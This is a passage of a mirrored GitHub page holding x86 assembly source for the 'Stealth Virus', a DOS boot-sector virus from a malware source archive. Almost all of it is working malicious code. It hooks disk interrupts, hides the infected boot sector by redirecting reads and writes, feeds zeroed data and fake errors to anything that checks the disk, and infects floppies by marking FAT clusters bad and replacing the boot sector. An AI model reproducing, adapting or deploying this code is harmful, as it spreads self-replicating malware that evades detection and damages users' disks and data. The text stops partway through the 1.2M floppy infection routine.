mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
1256 lines
55 KiB
NASM
1256 lines
55 KiB
NASM
|
;The Stealth Virus is a boot sector virus which remains resident in memory
|
|||
|
;after boot so it can infect disks. It hides itself on the disk and includes
|
|||
|
;special anti-detection interrupt traps so that it is very difficult to
|
|||
|
;locate. This is a very infective and crafty virus.
|
|||
|
|
|||
|
COMSEG SEGMENT PARA
|
|||
|
ASSUME CS:COMSEG,DS:COMSEG,ES:COMSEG,SS:COMSEG
|
|||
|
|
|||
|
ORG 100H
|
|||
|
|
|||
|
START:
|
|||
|
jmp BOOT_START
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;* BIOS DATA AREA *
|
|||
|
;*******************************************************************************
|
|||
|
|
|||
|
ORG 413H
|
|||
|
|
|||
|
MEMSIZE DW 640 ;size of memory installed, in KB
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;* VIRUS CODE STARTS HERE *
|
|||
|
;*******************************************************************************
|
|||
|
|
|||
|
ORG 7000H
|
|||
|
|
|||
|
STEALTH: ;A label for the beginning of the virus
|
|||
|
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;Format data consists of Track #, Head #, Sector # and Sector size code (2=512b)
|
|||
|
;for every sector on the track. This is put at the very start of the virus so
|
|||
|
;that when sectors are formatted, we will not run into a DMA boundary, which
|
|||
|
;would cause the format to fail. This is a false error, but one that happens
|
|||
|
;with some BIOS's, so we avoid it by putting this data first.
|
|||
|
;FMT_12M: ;Format data for Track 80, Head 1 on a 1.2 Meg diskette,
|
|||
|
; DB 80,1,1,2, 80,1,2,2, 80,1,3,2, 80,1,4,2, 80,1,5,2, 80,1,6,2
|
|||
|
;
|
|||
|
;FMT_360: ;Format data for Track 40, Head 1 on a 360K diskette
|
|||
|
; DB 40,1,1,2, 40,1,2,2, 40,1,3,2, 40,1,4,2, 40,1,5,2, 40,1,6,2
|
|||
|
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;* INTERRUPT 13H HANDLER *
|
|||
|
;*******************************************************************************
|
|||
|
|
|||
|
OLD_13H DD ? ;Old interrupt 13H vector goes here
|
|||
|
|
|||
|
INT_13H:
|
|||
|
sti
|
|||
|
cmp ah,2 ;we want to intercept reads
|
|||
|
jz READ_FUNCTION
|
|||
|
cmp ah,3 ;and writes to all disks
|
|||
|
jz WRITE_FUNCTION
|
|||
|
I13R: jmp DWORD PTR cs:[OLD_13H]
|
|||
|
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;This section of code handles all attempts to access the Disk BIOS Function 2,
|
|||
|
;(Read). It checks for several key situations where it must jump into action.
|
|||
|
;they are:
|
|||
|
; 1) If an attempt is made to read the boot sector, it must be processed
|
|||
|
; through READ_BOOT, so an infected boot sector is never seen. Instead,
|
|||
|
; the original boot sector is read.
|
|||
|
; 2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on
|
|||
|
; drive C are read, they are processed by READ_HARD, so the virus
|
|||
|
; code is never seen on the hard drive.
|
|||
|
; 3) If an attempt is made to read the boot sector on the floppy, and
|
|||
|
; the motor is off, this routine checks to see if the floppy has
|
|||
|
; already been infected, and if not, it goes ahead and infects it.
|
|||
|
|
|||
|
READ_FUNCTION: ;Disk Read Function Handler
|
|||
|
cmp dh,0 ;is it head 0?
|
|||
|
jnz I13R ;nope, let BIOS handle it
|
|||
|
cmp ch,0 ;is it track 0?
|
|||
|
jnz I13R ;no, let BIOS handle it
|
|||
|
cmp cl,1 ;track 0, is it sector 1
|
|||
|
jz READ_BOOT ;yes, go handle boot sector read
|
|||
|
cmp dl,80H ;no, is it hard drive c:?
|
|||
|
jnz I13R ;no, let BIOS handle it
|
|||
|
cmp cl,8 ;sector < 8?
|
|||
|
jnc I13R ;nope, let BIOS handle it
|
|||
|
jmp READ_HARD ;yes, divert read on the C drive
|
|||
|
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;This section of code handles all attempts to access the Disk BIOS Function 3,
|
|||
|
;(Write). It checks for two key situations where it must jump into action. They
|
|||
|
;are:
|
|||
|
; 1) If an attempt is made to write the boot sector, it must be processed
|
|||
|
; through WRITE_BOOT, so an infected boot sector is never overwritten.
|
|||
|
; instead, the write is redirected to where the original boot sector is
|
|||
|
; hidden.
|
|||
|
; 2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on
|
|||
|
; drive C are written, they are processed by WRITE_HARD, so the virus
|
|||
|
; code is never overwritten.
|
|||
|
|
|||
|
WRITE_FUNCTION: ;BIOS Disk Write Function
|
|||
|
cmp dh,0 ;is it head 0?
|
|||
|
jnz I13R ;nope, let BIOS handle it
|
|||
|
cmp ch,0 ;is it track 0?
|
|||
|
jnz I13R ;nope, let BIOS handle it
|
|||
|
cmp cl,1 ;is it sector 1
|
|||
|
jnz WF1 ;nope, check for hard drive
|
|||
|
jmp WRITE_BOOT ;yes, go handle boot sector read
|
|||
|
WF1: cmp dl,80H ;is it the hard drive c: ?
|
|||
|
jnz I13R ;no, another hard drive
|
|||
|
cmp cl,8 ;sector < 8?
|
|||
|
jnc I13R ;nope, let BIOS handle it
|
|||
|
jmp WRITE_HARD ;else take care of writing to C:
|
|||
|
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;This section of code handles reading the boot sector. There are three
|
|||
|
;possibilities: 1) The disk is not infected, in which case the read should be
|
|||
|
;passed directly to BIOS, 2) The disk is infected and only one sector is
|
|||
|
;requested, in which case this routine figures out where the original boot
|
|||
|
;sector is and reads it, and 3) The disk is infected and more than one sector
|
|||
|
;is requested, in which case this routine breaks the read up into two calls to
|
|||
|
;the ROM BIOS, one to fetch the original boot sector, and another to fetch the
|
|||
|
;additional sectors being read. One of the complexities in this last case is
|
|||
|
;that the routine must return the registers set up as if only one read had
|
|||
|
;been performed.
|
|||
|
; To determine if the disk is infected, the routine reads the real boot sector
|
|||
|
;into SCRATCHBUF and calls IS_VBS. If that returns affirmative (z set), then
|
|||
|
;this routine goes to get the original boot sector, etc., otherwise it calls ROM
|
|||
|
;BIOS and allows a second read to take place to get the boot sector into the
|
|||
|
;requested buffer at es:bx.
|
|||
|
|
|||
|
READ_BOOT:
|
|||
|
cmp dl,80H ;check if we must infect first
|
|||
|
jnc RDBOOT ;don't need to infect hard dsk
|
|||
|
call CHECK_DISK ;is floppy already infected?
|
|||
|
jz RDBOOT ;yes, go do read
|
|||
|
call INFECT_FLOPPY ;no, go infect the diskette
|
|||
|
RDBOOT: push ax ;now perform a redirected read
|
|||
|
push bx ;save registers
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
push es
|
|||
|
push bp
|
|||
|
|
|||
|
push cs ;set ds=es=cs
|
|||
|
pop es
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov bp,sp ;and bp=sp
|
|||
|
|
|||
|
RB001: mov al,dl
|
|||
|
call GET_BOOT_SEC ;read the real boot sector
|
|||
|
jnc RB01 ;ok, go on
|
|||
|
call GET_BOOT_SEC ;do it again to make sure
|
|||
|
jnc RB01 ;ok, go on
|
|||
|
jmp RB_GOON ;error, let BIOS return err code
|
|||
|
RB01: call IS_VBS ;is it the viral boot sector?
|
|||
|
jz RB02 ;yes, jump
|
|||
|
jmp RB_GOON ;no, let ROM BIOS read sector
|
|||
|
RB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START)
|
|||
|
mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86
|
|||
|
|
|||
|
mov al,BYTE PTR [bx] ;get disk type of disk being
|
|||
|
cmp al,80H ;read, and make an index of it
|
|||
|
jnz RB1
|
|||
|
mov al,4
|
|||
|
RB1: mov bl,3 ;to look up location of boot sec
|
|||
|
mul bl
|
|||
|
add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@BOOT_SECTOR_LOCATION table
|
|||
|
mov bx,ax
|
|||
|
mov ch,[bx] ;get track of orig boot sector
|
|||
|
mov dh,[bx+1] ;get head of orig boot sector
|
|||
|
mov cl,[bx+2] ;get sector of orig boot sector
|
|||
|
mov dl,ss:[bp+6] ;get drive from original spec
|
|||
|
mov bx,ss:[bp+10] ;get read buffer offset
|
|||
|
mov ax,ss:[bp+2] ;and segment
|
|||
|
mov es,ax ;from original specification
|
|||
|
mov ax,201H ;prepare to read 1 sector
|
|||
|
pushf
|
|||
|
call DWORD PTR [OLD_13H] ;do BIOS int 13H
|
|||
|
mov al,ss:[bp+12] ;see if original request
|
|||
|
cmp al,1 ;was for more than one sector
|
|||
|
jz RB_EXIT ;no, go exit
|
|||
|
|
|||
|
READ_1NEXT: ;more than 1 sec requested, so
|
|||
|
pop bp ;read the rest as a second call
|
|||
|
pop es ;to BIOS
|
|||
|
pop ds
|
|||
|
pop dx ;first restore these registers
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
|
|||
|
add bx,512 ;prepare to call BIOS for
|
|||
|
push ax ;balance of read
|
|||
|
dec al ;get registers straight for it
|
|||
|
inc cl
|
|||
|
|
|||
|
cmp dl,80H ;is it the hard drive?
|
|||
|
jnz RB15 ;nope, go handle floppy
|
|||
|
|
|||
|
push bx ;handle an infected hard drive
|
|||
|
push cx ;by faking read on extra sectors
|
|||
|
push dx ;and returning a block of 0's
|
|||
|
push si
|
|||
|
push di
|
|||
|
push ds
|
|||
|
push bp
|
|||
|
|
|||
|
push es
|
|||
|
pop ds ;ds=es
|
|||
|
|
|||
|
mov BYTE PTR [bx],0 ;set first byte in buffer = 0
|
|||
|
mov si,bx
|
|||
|
mov di,bx
|
|||
|
inc di
|
|||
|
mov ah,0 ;ax=number of sectors to read
|
|||
|
mov bx,512 ;bytes per sector
|
|||
|
mul bx ;# of bytes to read in dx:ax<64K
|
|||
|
mov cx,ax
|
|||
|
dec cx ;number of bytes to move in cx
|
|||
|
rep movsb ;fill buffer with 0's
|
|||
|
|
|||
|
clc ;clear c, fake read successful
|
|||
|
pushf ;then restore everyting properly
|
|||
|
pop ax ;first set flag register
|
|||
|
mov ss:[bp+20],ax ;as stored on the stack
|
|||
|
pop bp ;and pop all registers
|
|||
|
pop ds
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
mov ah,0
|
|||
|
dec cl
|
|||
|
sub bx,512
|
|||
|
iret ;and get out
|
|||
|
|
|||
|
RB15: ;read next sectors on floppy
|
|||
|
pushf ;call BIOS to
|
|||
|
call DWORD PTR cs:[OLD_13H] ;read the rest (must use cs)
|
|||
|
push ax
|
|||
|
push bp
|
|||
|
mov bp,sp
|
|||
|
pushf ;use c flag from BIOS call
|
|||
|
pop ax ;to set c flag on the stack
|
|||
|
mov ss:[bp+10],ax
|
|||
|
jc RB2 ;if error, return ah from 2nd rd
|
|||
|
sub bx,512 ;else restore registers so
|
|||
|
dec cl ;it looks as if only one read
|
|||
|
pop bp ;was performed
|
|||
|
pop ax
|
|||
|
pop ax ;and exit with ah=0 to indicate
|
|||
|
mov ah,0 ;successful read
|
|||
|
iret
|
|||
|
|
|||
|
RB2: pop bp ;error on 2nd read
|
|||
|
pop ax ;so clean up stack
|
|||
|
add sp,2 ;and get out
|
|||
|
iret
|
|||
|
|
|||
|
RB_EXIT: ;exit from single sector read
|
|||
|
mov ax,ss:[bp+18] ;set the c flag on the stack
|
|||
|
push ax ;to indicate successful read
|
|||
|
popf
|
|||
|
clc
|
|||
|
pushf
|
|||
|
pop ax
|
|||
|
mov ss:[bp+18],ax
|
|||
|
pop bp ;restore all registers
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
mov ah,0
|
|||
|
iret ;and get out
|
|||
|
|
|||
|
RB_GOON: ;This passes control to BIOS
|
|||
|
pop bp ;for uninfected disks
|
|||
|
pop es ;just restore all registers to
|
|||
|
pop ds ;their original values
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
jmp I13R ;and go jump to BIOS
|
|||
|
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;This table identifies where the original boot sector is located for each
|
|||
|
;of the various disk types. It is used by READ_BOOT and WRITE_BOOT to redirect
|
|||
|
;boot sector reads and writes.
|
|||
|
|
|||
|
BOOT_SECTOR_LOCATION:
|
|||
|
DB 39,1,9 ;Track, head, sector, 360K drive
|
|||
|
DB 79,1,15 ;1.2M drive
|
|||
|
DB 79,1,9 ;720K drive
|
|||
|
DB 79,1,18 ;1.44M drive
|
|||
|
DB 0,0,7 ;Hard drive
|
|||
|
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;This routine handles writing the boot sector for all disks. It checks to see
|
|||
|
;if the disk has been infected, and if not, allows BIOS to handle the write.
|
|||
|
;If the disk is infected, this routine redirects the write to put the boot
|
|||
|
;sector being written in the reserved area for the original boot sector. It
|
|||
|
;must also handle the writing of multiple sectors properly, just as READ_BOOT
|
|||
|
;did.
|
|||
|
|
|||
|
WRITE_BOOT:
|
|||
|
push ax ;save everything we might change
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
push es
|
|||
|
push bp
|
|||
|
mov bp,sp
|
|||
|
|
|||
|
push cs ;ds=es=cs
|
|||
|
pop ds
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
|
|||
|
mov al,dl
|
|||
|
call GET_BOOT_SEC ;read the real boot sector
|
|||
|
jnc WB01
|
|||
|
call GET_BOOT_SEC ;do it again if first failed
|
|||
|
jnc WB01
|
|||
|
jmp WB_GOON ;error on read, let BIOS take it
|
|||
|
WB01: call IS_VBS ;else, is disk infected?
|
|||
|
jz WB02 ;yes
|
|||
|
jmp WB_GOON ;no, let ROM BIOS write sector
|
|||
|
WB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START)
|
|||
|
mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86
|
|||
|
|
|||
|
mov al,BYTE PTR [bx]
|
|||
|
cmp al,80H ;infected, so redirect the write
|
|||
|
jnz WB1
|
|||
|
mov al,4 ;make an index of the drive type
|
|||
|
WB1: mov bl,3
|
|||
|
mul bl
|
|||
|
add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@table entry
|
|||
|
mov bx,ax
|
|||
|
mov ch,[bx] ;get the location of original
|
|||
|
mov dh,[bx+1] ;boot sector on disk
|
|||
|
mov cl,[bx+2] ;prepare for the write
|
|||
|
mov dl,ss:[bp+6]
|
|||
|
mov bx,ss:[bp+10]
|
|||
|
mov ax,ss:[bp+2]
|
|||
|
mov es,ax
|
|||
|
mov ax,301H
|
|||
|
pushf
|
|||
|
call DWORD PTR [OLD_13H] ;and do it
|
|||
|
sti
|
|||
|
mov dl,ss:[bp+6]
|
|||
|
cmp dl,80H ;was write going to hard drive?
|
|||
|
jnz WB_15 ;no
|
|||
|
mov BYTE PTR [DR_FLAG],80H ;yes, update partition info
|
|||
|
push si
|
|||
|
push di
|
|||
|
mov di,OFFSET PART ;just move it from sec we just
|
|||
|
mov si,ss:[bp+10] ;wrote into the viral boot sec
|
|||
|
add si,OFFSET PART
|
|||
|
sub si,OFFSET BOOT_START
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
push cs
|
|||
|
pop es ;switch ds and es around
|
|||
|
mov cx,20
|
|||
|
rep movsw ;and do the move
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ax,301H
|
|||
|
mov bx,OFFSET BOOT_START
|
|||
|
mov cx,1 ;Track 0, Sector 1
|
|||
|
mov dx,80H ;drive 80H, Head 0
|
|||
|
pushf ;go write updated viral boot sec
|
|||
|
call DWORD PTR [OLD_13H] ;with new partition info
|
|||
|
pop di ;clean up
|
|||
|
pop si
|
|||
|
|
|||
|
WB_15: mov al,ss:[bp+12]
|
|||
|
cmp al,1 ;was write more than 1 sector?
|
|||
|
jz WB_EXIT ;if not, then exit
|
|||
|
|
|||
|
WRITE_1NEXT: ;more than 1 sector
|
|||
|
mov dl,ss:[bp+6] ;see if it's the hard drive
|
|||
|
cmp dl,80H
|
|||
|
jz WB_EXIT ;if so, ignore rest of the write
|
|||
|
pop bp ;floppy drive, go write the rest
|
|||
|
pop es ;as a second call to BIOS
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
pop cx ;restore all registers
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
add bx,512 ;and modify a few to
|
|||
|
push ax ;drop writing the first sector
|
|||
|
dec al
|
|||
|
inc cl
|
|||
|
pushf
|
|||
|
call DWORD PTR cs:[OLD_13H] ;go write the rest
|
|||
|
sti
|
|||
|
push ax
|
|||
|
push bp
|
|||
|
mov bp,sp
|
|||
|
pushf ;use c flag from call
|
|||
|
pop ax ;to set c flag on the stack
|
|||
|
mov ss:[bp+10],ax
|
|||
|
jc WB2 ;an error
|
|||
|
;so exit with ah from 2nd int 13
|
|||
|
sub bx,512
|
|||
|
dec cl
|
|||
|
pop bp
|
|||
|
pop ax
|
|||
|
pop ax ;else exit with ah=0
|
|||
|
mov ah,0 ;to indicate success
|
|||
|
iret
|
|||
|
|
|||
|
WB2: pop bp ;exit with ah from 2nd
|
|||
|
pop ax ;interrupt
|
|||
|
add sp,2
|
|||
|
iret
|
|||
|
|
|||
|
|
|||
|
WB_EXIT: ;exit after 1st write
|
|||
|
mov ax,ss:[bp+18] ;set carry on stack to indicate
|
|||
|
push ax ;a successful write operation
|
|||
|
popf
|
|||
|
clc
|
|||
|
pushf
|
|||
|
pop ax
|
|||
|
mov ss:[bp+18],ax
|
|||
|
pop bp ;restore all registers and exit
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
mov ah,0
|
|||
|
iret
|
|||
|
|
|||
|
WB_GOON: ;pass control to ROM BIOS
|
|||
|
pop bp ;just restore all registers
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
jmp I13R ;and go do it
|
|||
|
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;Read hard disk sectors on Track 0, Head 0, Sec > 1. If the disk is infected,
|
|||
|
;then instead of reading the true data there, return a block of 0's, since
|
|||
|
;0 is the data stored in a freshly formatted but unused sector. This will
|
|||
|
;fake the caller out and keep him from knowing that the virus is hiding there.
|
|||
|
;If the disk is not infected, return the true data stored in those sectors.
|
|||
|
|
|||
|
READ_HARD:
|
|||
|
call CHECK_DISK ;see if disk is infected
|
|||
|
jnz RWH_EX ;no, let BIOS handle the read
|
|||
|
push ax ;else save registers
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push si
|
|||
|
push di
|
|||
|
push ds
|
|||
|
push bp
|
|||
|
mov bp,sp
|
|||
|
mov BYTE PTR es:[bx],0 ;zero the first byte in the blk
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
mov si,bx ;set up es:di and ds:si
|
|||
|
mov di,bx ;for a transfer
|
|||
|
inc di
|
|||
|
mov ah,0 ;ax=number of sectors to read
|
|||
|
mov bx,512 ;bytes per sector
|
|||
|
mul bx ;number of bytes to read in ax
|
|||
|
mov cx,ax
|
|||
|
dec cx ;number of bytes to move
|
|||
|
rep movsb ;do fake read of all 0's
|
|||
|
|
|||
|
mov ax,ss:[bp+20] ;now set c flag
|
|||
|
push ax ;to indicate succesful read
|
|||
|
popf
|
|||
|
clc
|
|||
|
pushf
|
|||
|
pop ax
|
|||
|
mov ss:[bp+20],ax
|
|||
|
|
|||
|
pop bp ;restore everything and exit
|
|||
|
pop ds
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
mov ah,0 ;set to indicate successful read
|
|||
|
iret
|
|||
|
|
|||
|
RWH_EX: jmp I13R ;pass control to BIOS
|
|||
|
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;Handle writes to hard disk Track 0, Head 0, 1<Sec<8. We must stop the write if
|
|||
|
;the disk is infected. Instead, fake the return of an error by setting carry
|
|||
|
;and returning ah=4 (sector not found).
|
|||
|
|
|||
|
WRITE_HARD:
|
|||
|
call CHECK_DISK ;see if the disk is infected
|
|||
|
jnz RWH_EX ;no, let BIOS handle it all
|
|||
|
push bp ;yes, infected, so . . .
|
|||
|
push ax
|
|||
|
mov bp,sp
|
|||
|
mov ax,ss:[bp+8] ;get flags off of stack
|
|||
|
push ax
|
|||
|
popf ;put them in current flags
|
|||
|
stc ;set the carry flag
|
|||
|
pushf
|
|||
|
pop ax
|
|||
|
mov ss:[bp+8],ax ;and put flags back on stack
|
|||
|
pop ax
|
|||
|
mov ah,4 ;set up sector not found error
|
|||
|
pop bp
|
|||
|
iret ;and get out of ISR
|
|||
|
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;See if disk dl is infected already. If so, return with Z set. This
|
|||
|
;does not assume that registers have been saved, and saves/restores everything
|
|||
|
;but the flags.
|
|||
|
|
|||
|
CHECK_DISK:
|
|||
|
push ax ;save everything
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
push es
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov al,dl
|
|||
|
call GET_BOOT_SEC ;read the boot sector
|
|||
|
jnc CD1
|
|||
|
xor al,al ;act as if infected
|
|||
|
jmp SHORT CD2 ;in the event of an error
|
|||
|
CD1: call IS_VBS ;see if viral boot sec (set z)
|
|||
|
CD2: pop es ;restore everything
|
|||
|
pop ds ;except the z flag
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;This routine determines from the boot sector parameters what kind of floppy
|
|||
|
;disk is in the drive being accessed, and calls the proper infection routine
|
|||
|
;to infect the drive. It has no safeguards to prevent infecting an already
|
|||
|
;infected disk. the routine CHECK_DISK must be called first to make sure you
|
|||
|
;want to infect before you go and do it. This restores all registers to their
|
|||
|
;initial state.
|
|||
|
|
|||
|
INFECT_FLOPPY:
|
|||
|
pushf ;save everything
|
|||
|
push si
|
|||
|
push di
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
push es
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
sti
|
|||
|
mov bx,OFFSET SCRATCHBUF + 13H ;@ of sec cnt in boot sector
|
|||
|
mov bx,[bx] ;get sector count for this disk
|
|||
|
mov al,dl
|
|||
|
cmp bx,720 ;is it 360K? (720 sectors)
|
|||
|
jnz IF_1 ;no, try another possibility
|
|||
|
call INFECT_360K ;yes, infect it
|
|||
|
jmp SHORT IF_R ;and get out
|
|||
|
IF_1: cmp bx,2400 ;is it 1.2M? (2400 sectors)
|
|||
|
jnz IF_2 ;no, try another possibility
|
|||
|
call INFECT_12M ;yes, infect it
|
|||
|
jmp SHORT IF_R ;and get out
|
|||
|
IF_2: cmp bx,1440 ;is it 720K 3 1/2"? (1440 secs)
|
|||
|
jnz IF_3 ;no, try another possibility
|
|||
|
call INFECT_720K ;yes, infect it
|
|||
|
jmp SHORT IF_R ;and get out
|
|||
|
IF_3: cmp bx,2880 ;is it 1.44M 3 1/2"? (2880 secs)
|
|||
|
jnz IF_R ;no - don't infect this disk
|
|||
|
call INFECT_144M ;yes - infect it
|
|||
|
IF_R: pop es ;restore everyting and return
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
popf
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;Infect a 360 Kilobyte drive. This is done by formatting Track 40, Head 0,
|
|||
|
;Sectors 1 to 6, putting the present boot sector in Sector 6 with the virus
|
|||
|
;code in sectors 1 through 5, and then replacing the boot sector on the disk
|
|||
|
;with the viral boot sector.
|
|||
|
|
|||
|
INFECT_360K:
|
|||
|
mov dl,al ;read the FAT from
|
|||
|
mov cx,3 ;track 0, sector 3, head 0
|
|||
|
mov dh,0
|
|||
|
call READ_DISK
|
|||
|
mov bx,ax
|
|||
|
jc INF360_EXIT
|
|||
|
|
|||
|
mov di,OFFSET SCRATCHBUF + 11H ;modify the FAT in RAM
|
|||
|
mov ax,[di] ;make sure nothing is stored
|
|||
|
and ax,0FFF0H
|
|||
|
or ax,[di+2] ;if it is, abort infect...
|
|||
|
or ax,[di+4] ;don't wipe out any data
|
|||
|
jnz INF360_EXIT ;if so, abort infection
|
|||
|
|
|||
|
mov ax,[di]
|
|||
|
or ax,0FF70H
|
|||
|
stosw
|
|||
|
mov ax,07FF7H ;marking the last 6 clusters
|
|||
|
stosw ;as bad
|
|||
|
mov ax,00FFH
|
|||
|
stosw
|
|||
|
|
|||
|
mov ax,bx ;write the FAT back to disk
|
|||
|
mov cx,3 ;at track 0, sector 3, head 0
|
|||
|
mov dl,bl
|
|||
|
mov dh,0
|
|||
|
call WRITE_DISK ;write the FAT back to disk
|
|||
|
jc INF360_EXIT
|
|||
|
INF360_RETRY:
|
|||
|
mov dl,al ;write the 2nd FAT too,
|
|||
|
mov cx,5 ;at track 0, sector 5, head 0
|
|||
|
mov dh,0
|
|||
|
call WRITE_DISK
|
|||
|
jc INF360_RETRY ;must retry, since 1st fat done
|
|||
|
|
|||
|
call GET_BOOT_SEC ;read the boot sector in
|
|||
|
jc INF360_EXIT
|
|||
|
|
|||
|
mov dl,al ;write the orig boot sector at
|
|||
|
mov dh,1 ;head 1
|
|||
|
mov cx,2709H ;track 39, sector 9
|
|||
|
call WRITE_DISK
|
|||
|
jc INF360_EXIT
|
|||
|
|
|||
|
push ax
|
|||
|
mov di,OFFSET BOOT_DATA
|
|||
|
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
|
|||
|
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
|
|||
|
|
|||
|
mov cx,32H / 2 ;copy boot sector disk info over
|
|||
|
rep movsw ;to new boot sector
|
|||
|
mov BYTE PTR [DR_FLAG],0 ;set proper diskette type
|
|||
|
pop ax
|
|||
|
|
|||
|
call PUT_BOOT_SEC ;go write it to disk
|
|||
|
jc INF360_EXIT
|
|||
|
|
|||
|
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
|
|||
|
mov dl,al ;drive to write to
|
|||
|
mov dh,1 ;head 1
|
|||
|
mov cx,2704H ;track 39, sector 4
|
|||
|
mov ax,0305H ;write 5 sectors
|
|||
|
pushf
|
|||
|
call DWORD PTR [OLD_13H] ;(int 13H)
|
|||
|
INF360_EXIT:
|
|||
|
ret ;all done
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;Infect 1.2 megabyte Floppy Disk Drive AL with this virus. This is essentially
|
|||
|
;the same as the 360K case.
|
|||
|
|
|||
|
INFECT_12M:
|
|||
|
mov dl,al ;read the FAT from
|
|||
|
mov cx,8 ;track 0, sector 8, head 0
|
|||
|
mov dh,0
|
|||
|
call READ_DISK
|
|||
|
mov bx,ax
|
|||
|
jc INF12M_EXIT
|
|||
|
|
|||
|
mov di,OFFSET SCRATCHBUF + 1DDH ;modify the FAT in RAM
|
|||
|
mov ax,[di] ;make sure nothing is stored
|
|||
|
or ax,[di+2] ;if it is, abort infect...
|
|||
|
or ax,[di+4] ;don't wipe out any data
|
|||
|
or ax,[di+6]
|
|||
|
or ax,[di+8]
|
|||
|
jnz INF12M_EXIT ;if so, abort infection
|
|||
|
|
|||
|
mov ax,07FF7H
|
|||
|
stosw
|
|||
|
mov ax,0F7FFH ;marking the last 6 clusters
|
|||
|
stosw ;as bad
|
|||
|
mov ax,0FF7FH
|
|||
|
stosw
|
|||
|
mov ax,07FF7H
|
|||
|
stosw
|
|||
|
mov ax,000FFH
|
|||
|
stosw
|
|||
|
|
|||
|
mov ax,bx ;write the FAT back to disk
|
|||
|
mov cx,8 ;at track 0, sector 8, head 0
|
|||
|
mov dl,bl
|
|||
|
mov dh,0
|
|||
|
call WRITE_DISK ;write the FAT back to disk
|
|||
|
jc INF12M_EXIT
|
|||
|
INF12M_RETRY:
|
|||
|
mov dl,al ;write the 2nd FAT too,
|
|||
|
mov cx,0FH ;at track 0, sector 15, head 0
|
|||
|
mov dh,0
|
|||
|
call WRITE_DISK
|
|||
|
jc INF12M_RETRY ;must retry, since 1st fat done
|
|||
|
|
|||
|
call GET_BOOT_SEC ;read the boot sector in
|
|||
|
jc INF12M_EXIT
|
|||
|
|
|||
|
mov dl,al ;write the orig boot sector at
|
|||
|
mov dh,1 ;head 1
|
|||
|
mov cx,4F0FH ;track 79, sector 15
|
|||
|
call WRITE_DISK
|
|||
|
jc INF12M_EXIT
|
|||
|
|
|||
|
push ax
|
|||
|
mov di,OFFSET BOOT_DATA
|
|||
|
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
|
|||
|
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
|
|||
|
|
|||
|
mov cx,32H / 2 ;copy boot sector disk info over
|
|||
|
rep movsw ;to new boot sector
|
|||
|
mov BYTE PTR [DR_FLAG],1 ;set proper diskette type
|
|||
|
pop ax
|
|||
|
|
|||
|
call PUT_BOOT_SEC ;go write it to disk
|
|||
|
jc INF12M_EXIT
|
|||
|
|
|||
|
